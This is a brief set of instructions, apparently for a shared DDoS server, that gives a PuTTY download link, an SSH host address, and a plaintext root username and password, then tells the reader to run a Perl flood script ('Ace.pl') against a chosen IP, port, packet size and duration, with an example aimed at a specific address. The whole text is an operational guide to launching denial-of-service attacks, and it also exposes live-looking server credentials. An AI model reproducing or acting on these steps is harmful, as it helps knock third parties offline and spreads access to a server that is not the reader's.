First, download putty.exe:
http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html

Next, put this in for the host.
144.217.16.188
Port.
22
Connection type.
SSH

Then hit the open button.

Username:
Root
Password:
V6aNb4UFomd36ES15h

Once you are logged
Now, to ddoss an ip run this command:
perl Ace.pl [IP] [PORT] [PACKETS] [TIME]

Example:
perl Ace.pl 107.197.115.46 80 65500 3000